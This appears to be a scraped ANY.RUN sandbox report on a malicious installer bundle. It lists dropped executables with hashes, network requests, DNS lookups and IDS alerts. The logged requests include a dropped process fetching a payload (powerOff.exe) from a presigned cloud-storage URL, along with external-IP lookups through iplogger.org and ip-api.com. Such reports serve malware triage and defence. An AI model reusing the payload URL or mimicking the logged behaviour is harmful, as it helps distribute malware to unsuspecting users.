4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\setup_install.exeexecutable
MD5:E68494122C512D8BE95CC3D6BC7711FB
SHA256:69684ED9361056F777001977AA33F13B7F7BF943C9CAD9E97609477FE7E97604
4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\Thu0247db132a8b.exeexecutable
MD5:4B7C3030B5C599961E909BC13EDA117F
SHA256:A5F1055E6630CB3066F1969C7282CDE474C903D89E24835ACAE134245F0729DE
4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\Thu024ca9649258.exeexecutable
MD5:F6E53BD775D01455E3C1FD3B348840A5
SHA256:FCA9C0997207054219A9A361E4B5A37ED195DCB6458EC99F49508EFF2AD236FD
4944setup_installer.exeC:\Users\admin\AppData\Local\Temp\7zS05349FD0\Thu02654d5746e2d67.exeexecutable
MD5:B16CEB3BEBB9609829E3F4C61EC2A36F
SHA256:C6042A41A179C8C8A525A5FDE7DD8617CBAFA51AE5C19320BC661D86ADC5465B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
23
TCP/UDP connections
88
DNS requests
43
Threats
22

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.194:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.194:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7180
Thu02e68baa8dd93d.exe
GET
200
208.95.112.1:80
http://ip-api.com/json/
unknown
—
—
whitelisted
—
—
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7356
Thu0234487e961.tmp
HEAD
403
51.158.211.0:80
http://hammajawa7dou.s3.nl-ams.scw.cloud/advertiser_Installer/powerOff.exe?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=SCWYZ0JHKZJYF9HYGTG9%2F20211128%2Fnl-ams%2Fs3%2Faws4_request&X-Amz-Date=20211128T232023Z&X-Amz-Expires=599989&X-Amz-Signature=c0c911b2c94a40a9bf3465b562da06341b63957b4fbc860ff8c20d8833ea73ef&X-Amz-SignedHeaders=host
unknown
—
—
unknown
7356
Thu0234487e961.tmp
GET
403
51.158.211.0:80
http://hammajawa7dou.s3.nl-ams.scw.cloud/advertiser_Installer/powerOff.exe?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=SCWYZ0JHKZJYF9HYGTG9%2F20211128%2Fnl-ams%2Fs3%2Faws4_request&X-Amz-Date=20211128T232023Z&X-Amz-Expires=599989&X-Amz-Signature=c0c911b2c94a40a9bf3465b562da06341b63957b4fbc860ff8c20d8833ea73ef&X-Amz-SignedHeaders=host
unknown
—
—
unknown
7348
Thu0247db132a8b.exe
GET
200
69.192.161.44:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
7348
Thu0247db132a8b.exe
GET
200
184.24.77.52:80
http://r10.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRpD%2BQVZ%2B1vf7U0RGQGBm8JZwdxcgQUdKR2KRcYVIUxN75n5gZYwLzFBXICEgW%2FNrkAE%2Blf6V4N6QyoQjJPXg%3D%3D
unknown
—
—
whitelisted
7348
Thu0247db132a8b.exe
GET
200
184.24.77.52:80
http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgaNm9kZr4EaFpDJ76YMB2KU6A%3D%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.48.23.194:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.194:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
—
—
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
7180
Thu02e68baa8dd93d.exe
208.95.112.1:80
ip-api.com
TUT-AS
US
whitelisted
4988
Thu029178728a4f78d0a.exe
172.67.74.161:443
iplogger.org
CLOUDFLARENET
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.110
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
  • 20.73.194.208
whitelisted
crl.microsoft.com
  • 23.48.23.194
  • 23.48.23.177
  • 23.48.23.145
  • 23.48.23.180
  • 23.48.23.173
  • 23.48.23.147
  • 23.48.23.164
  • 23.48.23.167
  • 23.48.23.176
whitelisted
www.microsoft.com
  • 23.35.229.160
  • 2.23.246.101
whitelisted
client.wns.windows.com
  • 172.211.123.248
whitelisted
ip-api.com
  • 208.95.112.1
whitelisted
iplogger.org
  • 172.67.74.161
  • 104.26.2.46
  • 104.26.3.46
whitelisted
hammajawa7dou.s3.nl-ams.scw.cloud
  • 51.158.211.0
  • 51.158.211.1
  • 51.158.211.2
unknown
gp.gamebuy768.com
  • 34.136.111.81
  • 34.132.102.6
unknown
qoto.org
  • 100.24.65.138
unknown

Threats

PID
Process
Class
Message
2196
svchost.exe
Potential Corporate Privacy Violation
ET INFO IP Check Domain (iplogger .org in DNS Lookup)
2196
svchost.exe
Device Retrieving External IP Address Detected
INFO [ANY.RUN] External IP Check (ip-api .com)
2196
svchost.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com)
4988
Thu029178728a4f78d0a.exe
Potential Corporate Privacy Violation
ET INFO IP Check Domain (iplogger .org in TLS SNI)
7180
Thu02e68baa8dd93d.exe
Device Retrieving External IP Address Detected
ET INFO External IP Lookup ip-api.com
7356
Thu0234487e961.tmp
Possibly Unwanted Program Detected
ADWARE [ANY.RUN] Inno Download Plugin UA
7356
Thu0234487e961.tmp
Possibly Unwanted Program Detected
ADWARE [ANY.RUN] Inno Download Plugin UA
2196
svchost.exe
Potentially Bad Traffic
ET DNS Query for .cc TLD
7192
Thu02acb863a216.exe
Potential Corporate Privacy Violation
ET INFO IP Check Domain (iplogger .org in TLS SNI)
7192
Thu02acb863a216.exe
Potential Corporate Privacy Violation
ET INFO IP Check Domain (iplogger .org in TLS SNI)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
setup_x86_x64_install.exe_3